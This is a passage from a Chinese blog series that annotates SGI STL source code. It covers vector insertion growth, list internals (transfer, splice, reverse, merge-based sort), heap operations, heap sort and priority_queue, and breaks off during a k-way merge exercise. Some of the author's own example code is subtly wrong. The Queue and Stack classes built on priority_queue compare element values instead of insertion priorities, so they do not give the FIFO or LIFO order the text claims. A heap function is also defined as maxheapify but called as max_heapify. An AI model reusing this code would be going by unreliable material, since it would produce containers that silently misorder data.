    _M_finish = __new_finish;
    _M_end_of_storage = __new_start + __len;
  }
}

vector空间成倍增长示意图如下:
vector空间成倍增长示意图

4. 插入n个元素
如果在某一个位置插入n个元素,那么空间的增长会有一点点不同。
如果空间不够,那么两倍于旧空间大小的尺寸可能也是不够的,因此要做一个判断:
new_size = old_size + max(old_size, n);

template <class _Tp, class _Alloc>
void vector<_Tp, _Alloc>::_M_fill_insert(iterator __position, size_type __n, 
                                         const _Tp& __x)
{
  // 如果n为0那么什么都不做
  if (__n != 0) {
    // 如果剩余空间足够插入n个元素
    if (size_type(_M_end_of_storage - _M_finish) >= __n) {
      _Tp __x_copy = __x;
      const size_type __elems_after = _M_finish - __position;
      iterator __old_finish = _M_finish;
      if (__elems_after > __n) {
        uninitialized_copy(_M_finish - __n, _M_finish, _M_finish);
        _M_finish += __n;
        copy_backward(__position, __old_finish - __n, __old_finish);
        fill(__position, __position + __n, __x_copy);
      }
      else {
        uninitialized_fill_n(_M_finish, __n - __elems_after, __x_copy);
        _M_finish += __n - __elems_after;
        uninitialized_copy(__position, __old_finish, _M_finish);
        _M_finish += __elems_after;
        fill(__position, __old_finish, __x_copy);
      }
    }
    // 空间不够用了,需要重新分配空间
    else {
      const size_type __old_size = size();
      // 新的尺寸 >= 2倍于旧的尺寸
      const size_type __len = __old_size + max(__old_size, __n);
      // 分配空间并调整指针
      iterator __new_start = _M_allocate(__len);
      iterator __new_finish = __new_start;
      __STL_TRY {
        // 复制旧区间[start,position)元素
        __new_finish = uninitialized_copy(_M_start, __position, __new_start);
        // 插入n个x元素的副本
        __new_finish = uninitialized_fill_n(__new_finish, __n, __x);
        // 复制旧区间[position, finish)元素
        __new_finish = uninitialized_copy(__position, _M_finish, __new_finish);
      }
      // 如果发生异常则进行回滚操作
      __STL_UNWIND((destroy(__new_start,__new_finish), 
                    _M_deallocate(__new_start,__len)));
      // 析构旧空间里的元素
      destroy(_M_start, _M_finish);
      // 回收旧空间
      _M_deallocate(_M_start, _M_end_of_storage - _M_start);
      // 调整指针
      _M_start = __new_start;
      _M_finish = __new_finish;
      _M_end_of_storage = __new_start + __len;
    }
  }
}

STL源码剖析笔记系列
1. STL笔记之空间配置器
2. STL笔记之迭代器
3. STL笔记之vector


本文地址: 程序人生 >> STL笔记之vector
作者:代码疯子(Wins0n) 本站内容如无声明均属原创,转载请保留作者信息与原文链接,谢谢!

STL笔记之list

$
0
0

STL提供的list是一个双向链表容器,对应的迭代器类型为Bidirectional Iterators. 对于双向链表我们可以方便的在任意位置进行插入和删除操作,list每个节点的内存位置之间没有必然联系。

1. list 迭代器
链表由许多节点链接在一起构成,list中的节点的定义如下:

// ListNodeBase定义
struct _List_node_base {
  _List_node_base* _M_next;
  _List_node_base* _M_prev;
};
 
// ListNode定义
template <class _Tp>
struct _List_node : public _List_node_base {
  _Tp _M_data;  // 数据域
};

list的迭代器定义如下(主要是迭代器的类型说明,以及遍历操作++/–的实现):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
// List Iterator Base 定义
struct _List_iterator_base {
  typedef size_t                     size_type;
  typedef ptrdiff_t                  difference_type;
  // 迭代器类型为 bidirectional_iterator_tag
  typedef bidirectional_iterator_tag iterator_category;
  // 指向的ListNode
  _List_node_base* _M_node;
  // 构造函数
  _List_iterator_base(_List_node_base* __x) : _M_node(__x) {}
  _List_iterator_base() {}
  // 前进与后退操作
  void _M_incr() { _M_node = _M_node->_M_next; }
  void _M_decr() { _M_node = _M_node->_M_prev; }
  // ==以及!=操作符
  bool operator==(const _List_iterator_base& __x) const {
    return _M_node == __x._M_node;
  }
  bool operator!=(const _List_iterator_base& __x) const {
    return _M_node != __x._M_node;
  }
};  
 
// List Iterator 定义
template<class _Tp, class _Ref, class _Ptr>
struct _List_iterator : public _List_iterator_base {
  typedef _List_iterator<_Tp,_Tp&,_Tp*>             iterator;
  typedef _List_iterator<_Tp,const _Tp&,const _Tp*> const_iterator;
  typedef _List_iterator<_Tp,_Ref,_Ptr>             _Self;
 
  typedef _Tp value_type;
  typedef _Ptr pointer;
  typedef _Ref reference;
  typedef _List_node<_Tp> _Node;
 
  _List_iterator(_Node* __x) : _List_iterator_base(__x) {}
  _List_iterator() {}
  _List_iterator(const iterator& __x) : _List_iterator_base(__x._M_node) {}
 
  // 解引用操作
  reference operator*() const { return ((_Node*) _M_node)->_M_data; }
  // -> 操作, 基于解引用操作实现
  pointer operator->() const { return &(operator*()); }
 
  // 前置自增操作符
  _Self& operator++() { 
    this->_M_incr();
    return *this;
  }
  // 后置自增操作符
  _Self operator++(int) { 
    _Self __tmp = *this;
    this->_M_incr();
    return __tmp;
  }
  // 前置自减从操作符
  _Self& operator--() { 
    this->_M_decr();
    return *this;
  }
  // 后置自减操作符
  _Self operator--(int) { 
    _Self __tmp = *this;
    this->_M_decr();
    return __tmp;
  }
};

2. list 基本数据结构
list的基本数据结构定义于_List_base之中,里面包含了节点空间的分配和回收操作(get_node/put_node),以及构造函数与析构函数,在析构函数中进行了clear操作。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
// List Base 定义
// _Alloc 使用标准空间配置器
template <class _Tp, class _Alloc>
class _List_base 
{
public:
  typedef _Alloc allocator_type;
  allocator_type get_allocator() const { return allocator_type(); }
 
  // 构造函数
  _List_base(const allocator_type&) {
    _M_node = _M_get_node();    // 分配一个节点的空间
    _M_node->_M_next = _M_node; // next 指针指向自己
    _M_node->_M_prev = _M_node; // prev 指针指向自己
  }
  // 析构函数
  ~_List_base() {
    clear();                    // 清空所有节点
    _M_put_node(_M_node);       // 回收节点的空间
  }
 
  void clear();
 
protected:
  typedef simple_alloc<_List_node<_Tp>, _Alloc> _Alloc_type;
  // 分配一个节点的空间
  _List_node<_Tp>* _M_get_node() { return _Alloc_type::allocate(1); }
  // 回收一个节点的空间
  void _M_put_node(_List_node<_Tp>* __p) { _Alloc_type::deallocate(__p, 1); } 
 
protected:
  // 定义一个指针, 指向end()
  _List_node<_Tp>* _M_node;
};
 
// clear 函数
template <class _Tp, class _Alloc>
void 
_List_base<_Tp,_Alloc>::clear() 
{
  // 取得指向第一个节点的指针
  _List_node<_Tp>* __cur = (_List_node<_Tp>*) _M_node->_M_next;
  while (__cur != _M_node) {
    // 取出当前节点
    _List_node<_Tp>* __tmp = __cur;
    __cur = (_List_node<_Tp>*) __cur->_M_next;
    // 析构节点所携带的对象
    _Destroy(&__tmp->_M_data);
    // 回收节点的空间
    _M_put_node(__tmp);
  }
  // 修正节点指针
  _M_node->_M_next = _M_node;
  _M_node->_M_prev = _M_node;
}

list中定义了一个指针_M_node,它指向一个特殊的list节点(即链表末尾的空白节点),list可以通过_M_node来遍历其他所有节点。在构造函数中可以看到_M_node的next指针和prev指针都是指向自己的,事实上,_M_node即为end(),其next指针指向真正的起始数据节点,基于_M_node可以方便的实现很多函数(定义于list内部):

  iterator begin()      { return (_Node*)(_M_node->_M_next); }
  iterator end()        { return _M_node; }
  bool empty() const    { return _M_node->_M_next == _M_node; }
  size_type size() const{
    size_type __result = 0;
    distance(begin(), end(), __result);
    return __result;
  }
  reference front()     { return *begin(); }
  reference back()      { return *(--end()); }

list是一个环状的双向链表,如图:(图片来源于《STL源码剖析》,已修改)
STL list环状链表表示结构

3. list 基本操作的实现
这里是list内部一些基本操作的实现,其中transfer是一个比较重要的操作,因为很多其他操作都基于transfer来实现,而且基于这个操作也很好理解函数的意义。transfer是一个protected member function,其对外的包装接口为splice函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
template <class _Tp, class _Alloc = __STL_DEFAULT_ALLOCATOR(_Tp) >
class list : protected _List_base<_Tp, _Alloc> {
public:
  // ==========================================================================
  // 两个链表进行交换操作
  // ==========================================================================
  // swap操作,通过全局的swap实现,直接交换两个链表的_M_node指针
  void swap(list<_Tp, _Alloc>& __x) { __STD::swap(_M_node, __x._M_node); }
 
  // ==========================================================================
  // 元素插入操作
  // ==========================================================================
  // 在指定位置插入一个值
  iterator insert(iterator __position, const _Tp& __x) {
    // 构造一个节点
    _Node* __tmp = _M_create_node(__x);
    // 插入节点到position位置
    __tmp->_M_next = __position._M_node;
    __tmp->_M_prev = __position._M_node->_M_prev;
    __position._M_node->_M_prev->_M_next = __tmp;
    __position._M_node->_M_prev = __tmp;
    // 返回指向新插入的节点
    return __tmp;
  }
 
  // 在指定位置插入一个节点,节点由默认构造函数负责初始化
  iterator insert(iterator __position) { return insert(__position, _Tp()); }
 
  // 在链表头插入元素
  void push_front(const _Tp& __x) { insert(begin(), __x); }
  void push_front() {insert(begin());}
  // 在链表尾部插入元素
  void push_back(const _Tp& __x) { insert(end(), __x); }
  void push_back() {insert(end());}
 
  // ==========================================================================
  // 元素删除操作
  // ==========================================================================
  // 删除指定位置的元素
  iterator erase(iterator __position) {
    _List_node_base* __next_node = __position._M_node->_M_next;
    _List_node_base* __prev_node = __position._M_node->_M_prev;
    _Node* __n = (_Node*) __position._M_node;
    __prev_node->_M_next = __next_node;
    __next_node->_M_prev = __prev_node;
    _Destroy(&__n->_M_data);
    _M_put_node(__n);
    // 返回指向被删除节点的下一个节点
    return iterator((_Node*) __next_node);
  }
  // 清空操作,调用父类的clear实现
  void clear() { _Base::clear(); }
 
  // resize 操作
  void resize(size_type __new_size, const _Tp& __x)
  {
    iterator __i = begin();
    size_type __len = 0;
    for ( ; __i != end() && __len < __new_size; ++__i, ++__len)
      ;
    // 如果 len == new_size 说明链表后面还有元素,那么这些元素需要删掉
    if (__len == __new_size)
      erase(__i, end());
    // 否则,说明链表的节点数没有 new_size 这么多,需要在末尾新插入元素
    else                          // __i == end()
      insert(end(), __new_size - __len, __x);
  }
  void resize(size_type __new_size) { this->resize(__new_size, _Tp()); }
 
  // pop 操作
  void pop_front() { erase(begin()); }
  void pop_back() { 
    iterator __tmp = end();
    erase(--__tmp);
  }
 
protected:
  // ==========================================================================
  // 元素转移操作
  // ==========================================================================
  // 把[first, last)内的所有元素移动到position之前
  // 区间不可重叠,即position不能位于[first, last)区间内部
  void transfer(iterator __position, iterator __first, iterator __last) {
    if (__position != __last) {
      // Remove [first, last) from its old position.
      __last._M_node->_M_prev->_M_next     = __position._M_node;
      __first._M_node->_M_prev->_M_next    = __last._M_node;
      __position._M_node->_M_prev->_M_next = __first._M_node; 
 
      // Splice [first, last) into its new position.
      _List_node_base* __tmp      = __position._M_node->_M_prev;
      __position._M_node->_M_prev = __last._M_node->_M_prev;
      __last._M_node->_M_prev     = __first._M_node->_M_prev; 
      __first._M_node->_M_prev    = __tmp;
    }
  }
 
public:
  // 把链表x的节点转移到position位置
  void splice(iterator __position, list& __x) {
    if (!__x.empty()) 
      this->transfer(__position, __x.begin(), __x.end());
  }
 
  // 将i所指元素移动到position
  void splice(iterator __position, list&, iterator __i) {
    iterator __j = __i;
    ++__j;
    // 如果i和position指向同一个元素,则不需要进行任何操作
    // 如果i所指节点就是位于position所指节点的前面一个节点,也不需要进行任何操作
    if (__position == __i || __position == __j) return;
    // 将区间[i, j)移动到position
    this->transfer(__position, __i, __j);
  }
 
  // 对transfer的简单包装,区间不可重叠
  void splice(iterator __position, list&, iterator __first, iterator __last) {
    if (__first != __last) 
      this->transfer(__position, __first, __last);
  }
 
  // 删除具有指定值的元素
  void remove(const _Tp& __value)
  {
    iterator __first = begin();
    iterator __last = end();
    while (__first != __last) {
      iterator __next = __first;
      ++__next;
      if (*__first == __value) erase(__first);
      __first = __next;
    }
  }
 
  // 如果连续的几个元素具有相同的值,则删除相同的,只留一个
  void unique()
  {
    iterator __first = begin();
    iterator __last = end();
    if (__first == __last) return;
    iterator __next = __first;
    while (++__next != __last) {
      if (*__first == *__next)
        erase(__next);
      else
        __first = __next;
        __next = __first;
    }
  }
 
  // 合并两个已经排好序的链表, 默认从小到大排序
  // 基于transfer实现,把x中的节点转移到本链表适当的位置
  void merge(list& __x)
  {
    iterator __first1 = begin();
    iterator __last1 = end();
    iterator __first2 = __x.begin();
    iterator __last2 = __x.end();
    while (__first1 != __last1 && __first2 != __last2)
      if (*__first2 < *__first1) {
        iterator __next = __first2;
        // 基于transfer实现
        transfer(__first1, __first2, ++__next);
        __first2 = __next;
      }
      else
        ++__first1;
    if (__first2 != __last2) transfer(__last1, __first2, __last2);
  }
};

4. reverse与sort
《STL源码剖析》一书中reverse是通过调用transfer来实现的,就是顺序遍历链表,然后不断的把元素插入的begin()之前,这个过程还是非常好理解的,源代码如下:
《STL源码剖析》list reverse实现(基于transfer)

但我实际找到的SGI STL的代码并不是基于transfer实现的,而是通过遍历链表的时候,不断的交换节点的next和prev指针来实现的,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
class list
{
public:
  // 翻转链表
  void reverse()
  {
    __List_base_reverse(this->_M_node);
  }
  // ...
}
 
// 翻转链表的实现
inline void __List_base_reverse(_List_node_base* __p)
{
  _List_node_base* __tmp = __p;
  do {
    __STD::swap(__tmp->_M_next, __tmp->_M_prev);
    __tmp = __tmp->_M_prev;     // Old next node is now prev.
  } while (__tmp != __p);
}

这个实现过程画个图的话也是很好理解的:
基于swap next和prev指针实现list翻转

list由于自身的特性(bidirectional iterator),显然不能够试用std::sort,STL提供了list的一个member function,用于排序,sort的源代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
class list
{
public:
  // 排序操作
  void sort()
  {
    // 只有链表的长度大于等于2才进行排序操作
    if (_M_node->_M_next != _M_node && _M_node->_M_next->_M_next != _M_node) {
      list<_Tp, _Alloc> __carry;
      list<_Tp, _Alloc> __counter[64];
      int __fill = 0;
      while (!empty()) {
        __carry.splice(__carry.begin(), *this, begin());
        int __i = 0;
        while(__i < __fill && !__counter[__i].empty()) {
          __counter[__i].merge(__carry);
          __carry.swap(__counter[__i++]);
        }
        __carry.swap(__counter[__i]);         
        if (__i == __fill) ++__fill;
      } 
 
      for (int __i = 1; __i < __fill; ++__i)
        __counter[__i].merge(__counter[__i-1]);
      swap(__counter[__fill-1]);
    }
  }
}

这段代码并不容易理解,需要在脑袋里面模拟执行几遍才好。为了更好的理解这个过程,可以用Visual Studio进行跟踪一下,虽然代码风格/实现不太一致,不过过程还是一样的。我所理解的是,counter数组的每个元素可存储的元素个数为2^i个,如:

counter[0] 最多存储 1 个元素
counter[1] 最多存储 2 个元素
counter[2] 最多存储 4 个元素
counter[3] 最多存储 8 个元素
...

在VS中跟踪时的监控值如下:
在VS中跟踪list sort实现

对sort过程的伪代码理解如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
list::sort():
    if 长度 < 2:
        return
    fill = 0
    carry       : list
    counter[64] : list
    while list非空:
        取出list的begin()节点并merge到carry
        # carry不断收集元素,直到收集完毕或者下一层为空
        for i in [0, fill) and counter[i]不为空:
            把carry合并到counter[i]
            交换carry与counter[i]
 
        # 此时carry已经合并了counter[0] 到 counter[i-1]的所有元素
        # 实际就是把carry的数据转交给下一层
        交换carry与counter[i]
        # 如果i == fill
        # 说明carry已经合并了counter[0] 到 counter[fill-1]的所有元素
        # 需要新增一层
        if i == fill:
            fill += 1
    # 所有元素处理完毕
    合并counter[0] 到 counter[fill-1]的所有元素
    将排序后的数据交换到list自身

这个过程关键还在于自己的理解。

STL源码剖析笔记系列
1. STL笔记之空间配置器
2. STL笔记之迭代器
3. STL笔记之vector
4. STL笔记之list


本文地址: 程序人生 >> STL笔记之list
作者:代码疯子(Wins0n) 本站内容如无声明均属原创,转载请保留作者信息与原文链接,谢谢!

STL笔记之优先队列

$
0
0

在STL中队列queue是基于deque实现的,优先队列priority_queue则是基于堆实现的。所谓优先队列即元素具有优先级的队列,在最大优先级队列中,队列最前面的元素具有最高的优先级,最大优先级队列基于最大堆(max-heap)实现。

1. 堆的基本性质
二叉堆是一颗完全二叉树,可以分为最小堆和最大堆,以最大堆为例来说,对于堆中的每一个节点p,都满足条件key[p] >= key[p->left] && key[p] >= key[p->right],即以p为根的子树中,根节点p的值是最大的,堆中的所有节点都满足这个性质。

因为二叉堆是一颗完全二叉树,所以,所以根节点的索引从1开始算,则对于索引为i的节点,其左子结点的索引为2*i,右子节点的索引为2*i+1,父节点的索引为i/2,这些操作都可以基于移位运算快速实现。因为这个特性,通常使用数组存储堆的节点。

CLRS 6.1-7
对于拥有n个节点的堆而言,其叶子节点的下标为[n/2]+1, [n/2]+2, …, n。
证明:因为有n个元素,最后一个元素序号为n,那么它的parent结点应该是序号最大的parent结点,那么这个parent结点就为[n/2],其之后都是叶子结点,因而为[n/2]+1, [n/2]+2, …, n。
(也可以从二叉树节点的度与二叉树节点之间的关系进行证明,具体过程略)

max_heapify 最大堆性质的维护
如果一个节点的左右两颗子树都满足最大堆的性质,但是节点本身可能不满足最大堆的性质,这时候可以通过对该节点执行max_heapify操作来保持以该节点为根的堆的性质。max_heapify通过找出节点p,p->left,p->right三个节点中值最大的节点,然后将最大节点的值与节点i的值进行交换,然后在原有的最大节点上递归调用max_heapify来实现。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
void maxheapify(int a[], int i, int heapsize)
{
    int l = (i<<1);
    int r = (i<<1) + 1;
    int largest = i;
 
    if (l <= heapsize && a[l] > a[largest])
    {
        largest = l;
    }
    if (r <= heapsize && a[r] > a[largest])
    {
        largest = r;
    }
    if (largest != i)
    {
        swap(a[largest], a[i]);
        maxheapify(a, largest, heapsize);
    }
}

maxheapify的时间复杂度为O(lgN)

堆的建立
我们可以从后往前扫描数组,对每一个节点都进行maxheapify操作,这样就建立了一个堆。但是对于叶子节点而言,调用maxheapify操作是没有意义的。而上面的CLRS 6.1-7提到,对于拥有n个节点的堆而言,其叶子节点的下标为[n/2]+1, [n/2]+2, …, n。因此,我们可以从n/2开始往前进行maxheapify操作。

1
2
3
4
5
6
7
void build_heap(int a[], int n)
{
    for (int i = n/2; i >= 1; --i)
    {
        max_heapify(a, i, n);
    }
}

需要注意的一点是,建堆操作的时间复杂度看上去为O(NlgN),实际上为O(N),可以从数学上进行证明。以满二叉树为例,如下图所示:
二叉堆-满二叉树
令堆所对应的二叉树的高度为h,节点的个数为n,对于满二叉树有n = 2^(h+1) – 1,对最坏情况而言,其中有2^(h-1)个结点向下访问1次,2^(h-2)个结点向下访问2次,…1个结点向下访问h次,时间复杂度推导过程如下:
建堆时间复杂度O(N)

堆排序
在建立好一个堆之后,堆排序就比较简单了。每次把第一个节点和最后一个节点的值交换,然后对第一个节点调用maxheapify操作,直到堆的元素个数减小到1.
堆排序的时间复杂度为O(NlgN),因为maxheapify中,前面两个if语句(也就是从左右子节点取得最大值节点)的顺序是可以随意安排的,所以堆排序不是稳定排序。

1
2
3
4
5
6
7
8
9
void heap_sort(int a[], int n)
{
    build_heap(a, n);
    for (int i = n; i >= 2; --i)
    {
        swap(a[1], a[i]);
        max_heapify(a, 1, i-1);
    }
}

2. STL heap
SGI STL的heap的操作基本就和上面提到的差不多了,只是许多过程都是地推来实现的,而且,并没有采用下标从1开始的基数规则,而是采用从0开始。
其中adjust_heap和max_heapify操作思路有所不同,adjust_heap的实现思路是:首先把子节点往上移动,最后调用push_heap操作来实现。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
// ============================================================================
// 插入新节点
// ============================================================================
// push_heap实现
// holeIndex为空洞节点的索引,最开始即为末尾待加入堆的节点的索引
// topIndex为根节点的索引
// value为待加入节点的值
template <class _RandomAccessIterator, class _Distance, class _Tp>
void 
__push_heap(_RandomAccessIterator __first,
            _Distance __holeIndex, _Distance __topIndex, _Tp __value)
{
  // 获取父节点的索引值
  _Distance __parent = (__holeIndex - 1) / 2;
  // 如果还没有上升到根节点,且父节点的值小于待插入节点的值
  while (__holeIndex > __topIndex && *(__first + __parent) < __value) {
    // 父节点下降到holeIndex
    *(__first + __holeIndex) = *(__first + __parent);
    // 继续往上检查
    __holeIndex = __parent;
    __parent = (__holeIndex - 1) / 2;
  }
  // 插入节点
  *(__first + __holeIndex) = __value;
}
 
template <class _RandomAccessIterator, class _Distance, class _Tp>
inline void 
__push_heap_aux(_RandomAccessIterator __first,
                _RandomAccessIterator __last, _Distance*, _Tp*)
{
  __push_heap(__first, _Distance((__last - __first) - 1), _Distance(0), 
              _Tp(*(__last - 1)));
}
 
// 公开接口,假定[first, last-1)已经是一个堆,此时把*(last-1)压入堆中
template <class _RandomAccessIterator>
inline void 
push_heap(_RandomAccessIterator __first, _RandomAccessIterator __last)
{
  __push_heap_aux(__first, __last,
                  __DISTANCE_TYPE(__first), __VALUE_TYPE(__first));
}
 
// ============================================================================
// 保持堆的性质
// ============================================================================
// first 起始位置
// holeIndex 要进行调整操作的位置
// len 长度
// value holeIndex新设置的值
template <class _RandomAccessIterator, class _Distance, class _Tp>
void 
__adjust_heap(_RandomAccessIterator __first, _Distance __holeIndex,
              _Distance __len, _Tp __value)
{
  // 当前根节点的索引值
  _Distance __topIndex = __holeIndex;
  // 右孩子节点的索引值
  _Distance __secondChild = 2 * __holeIndex + 2;
  // 如果没有到末尾
  while (__secondChild < __len) {
    // 如果右孩子节点的值比左孩子节点的值要小,那么secondChild指向左孩子
    if (*(__first + __secondChild) < *(__first + (__secondChild - 1)))
      __secondChild--;
    // 子节点的往上升
    *(__first + __holeIndex) = *(__first + __secondChild);
    // 继续处理
    __holeIndex = __secondChild;
    __secondChild = 2 * (__secondChild + 1);
  }
  // 如果没有右子节点
  if (__secondChild == __len) {
    *(__first + __holeIndex) = *(__first + (__secondChild - 1));
    __holeIndex = __secondChild - 1;
  }
  // 针对节点topIndex调用push_heap操作
  __push_heap(__first, __holeIndex, __topIndex, __value);
}
 
// ============================================================================
// 弹出一个节点
// ============================================================================
// 区间:[first, last)
// result: 保存根节点的值
// value: 原来末尾节点的值
template <class _RandomAccessIterator, class _Tp, class _Distance>
inline void 
__pop_heap(_RandomAccessIterator __first, _RandomAccessIterator __last,
           _RandomAccessIterator __result, _Tp __value, _Distance*)
{
  // 取出根节点的值
  *__result = *__first;
  // 对根节点调用adjust_heap
  __adjust_heap(__first, _Distance(0), _Distance(__last - __first), __value);
}
 
template <class _RandomAccessIterator, class _Tp>
inline void 
__pop_heap_aux(_RandomAccessIterator __first, _RandomAccessIterator __last,
               _Tp*)
{
  __pop_heap(__first, __last - 1, __last - 1, 
             _Tp(*(__last - 1)), __DISTANCE_TYPE(__first));
}
 
// 对外接口:取出根节点的值放入到末尾节点并保持堆的性质
template <class _RandomAccessIterator>
inline void pop_heap(_RandomAccessIterator __first, 
                     _RandomAccessIterator __last)
{
  __pop_heap_aux(__first, __last, __VALUE_TYPE(__first));
}
 
// ============================================================================
// 建堆操作
// ============================================================================
template <class _RandomAccessIterator, class _Tp, class _Distance>
void 
__make_heap(_RandomAccessIterator __first,
            _RandomAccessIterator __last, _Tp*, _Distance*)
{
  // 只有一个元素不需要进行任何操作
  if (__last - __first < 2) return;
  _Distance __len = __last - __first;
  _Distance __parent = (__len - 2)/2;
 
  // 从第一个不是叶子节点的索引从后往前调用adjust_heap操作
  while (true) {
    __adjust_heap(__first, __parent, __len, _Tp(*(__first + __parent)));
    if (__parent == 0) return;
    __parent--;
  }
}
 
// 公开接口
template <class _RandomAccessIterator>
inline void 
make_heap(_RandomAccessIterator __first, _RandomAccessIterator __last)
{
  __make_heap(__first, __last,
              __VALUE_TYPE(__first), __DISTANCE_TYPE(__first));
}
 
// ============================================================================
// 堆排序
// ============================================================================
// 建好堆之后才能调用sort_heap
template <class _RandomAccessIterator>
void sort_heap(_RandomAccessIterator __first, _RandomAccessIterator __last)
{
  while (__last - __first > 1)
    pop_heap(__first, __last--);
}

3. STL priority_queue
priority_queue底层基于heap实现,属于配接器(adapter),所以源代码相对很简单。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
template <class _Tp, 
          class _Sequence __STL_DEPENDENT_DEFAULT_TMPL(vector<_Tp>),
          class _Compare
          __STL_DEPENDENT_DEFAULT_TMPL(less<typename _Sequence::value_type>) >
class priority_queue {
  typedef typename _Sequence::value_type _Sequence_value_type;
 
public:
  typedef typename _Sequence::value_type      value_type;
  typedef typename _Sequence::size_type       size_type;
  typedef          _Sequence                  container_type;
 
  typedef typename _Sequence::reference       reference;
  typedef typename _Sequence::const_reference const_reference;
protected:
  // c即底层存放数据的容器,默认使用vector<T>
  _Sequence c;
  // comp即为比较函数对象,默认为less<T>
  _Compare comp;
 
public:
  // 构造函数
  priority_queue() : c() {}
  explicit priority_queue(const _Compare& __x) :  c(), comp(__x) {}
  priority_queue(const _Compare& __x, const _Sequence& __s) 
    : c(__s), comp(__x) 
    { make_heap(c.begin(), c.end(), comp); }
 
  priority_queue(const value_type* __first, const value_type* __last) 
    : c(__first, __last) { make_heap(c.begin(), c.end(), comp); }
 
  priority_queue(const value_type* __first, const value_type* __last, 
                 const _Compare& __x) 
    : c(__first, __last), comp(__x)
    { make_heap(c.begin(), c.end(), comp); }
 
  priority_queue(const value_type* __first, const value_type* __last, 
                 const _Compare& __x, const _Sequence& __c)
    : c(__c), comp(__x) 
  { 
    c.insert(c.end(), __first, __last);
    make_heap(c.begin(), c.end(), comp);
  }
 
  // empty, size, top是对底层容器的包装
  bool empty() const { return c.empty(); }
  size_type size() const { return c.size(); }
  // 注意top返回const_reference
  const_reference top() const { return c.front(); }
 
  // push操作
  void push(const value_type& __x) {
    __STL_TRY {
      c.push_back(__x); 
      push_heap(c.begin(), c.end(), comp);
    }
    __STL_UNWIND(c.clear());
  }
  // pop操作
  void pop() {
    __STL_TRY {
      pop_heap(c.begin(), c.end(), comp);
      c.pop_back();
    }
    __STL_UNWIND(c.clear());
  }
};

4. 基于优先队列实现queue和stack
基于priority_queue可以实现queue。queue的性质为FIFO,那么如果基于最小优先队列,我们给每一个元素都设置一个优先级,每次push操作之后,优先级增加1,那么栈顶的元素总是优先级最小的元素,也就是最先入队的元素,这样就满足了FIFO性质。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
template<class T>
class Queue
{
public:
    Queue() : priority(0) {}
 
    void push(const T& t)
    {
        q.push(Node(t, priority++));
    }
 
    bool empty()
    {
        return q.empty();
    }
 
    int size()
    {
        return q.size();
    }
 
    void pop()
    {
        q.pop();
    }
 
    const T& top()
    {
        return q.top().t;
    }
 
private:
    struct Node
    {
        T t;
        int p;
        Node(const T& _t, int _p) : t(_t), p(_p) {}
        bool operator>(const Node& rhs) const
        {
            return t > rhs.t;
        }
    };
 
private:
    int priority;
    std::priority_queue<Node, std::vector<Node>, std::greater<Node> > q;
};

同样,基于priority_queue可以实现stack。stack的性质为LIFO,那么如果基于最大优先队列,我们给每一个元素都设置一个优先级,每次push操作之后,优先级增加1,那么栈顶的元素总是优先级最大的元素,也就是最后入队的元素,这样就满足了LIFO性质。每次pop操作之后,我们可以将优先级记录值减小1(注意这个对于Queue不成立)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
template<class T>
class Stack
{
public:
    Stack() : priority(0) {}
 
    void push(const T& t)
    {
        q.push(Node(t, priority++));
    }
 
    bool empty()
    {
        return q.empty();
    }
 
    int size()
    {
        return q.size();
    }
 
    void pop()
    {
        q.pop();
        --priority;
    }
 
    const T& top()
    {
        return q.top().t;
    }
 
private:
    struct Node
    {
        T t;
        int p;
        Node(const T& _t, int _p) : t(_t), p(_p) {}
        bool operator<(const Node& rhs) const
        {
            return t < rhs.t;
        }
    };
 
private:
    int priority;
    std::priority_queue<Node> q;
};

5. 最小堆K路合并
请给出一个时间为O(nlgk)、用来将k个已排序链表合并为一个排序链表的算法,此处n为所有输入链表中元素的总数。
算法思想:
1. 从k个链表中取出每个链表的第一个元素,组成一个大小为k的数组arr,然后将数组arr转换为最小堆,那么arr[0]就为最小元素了;
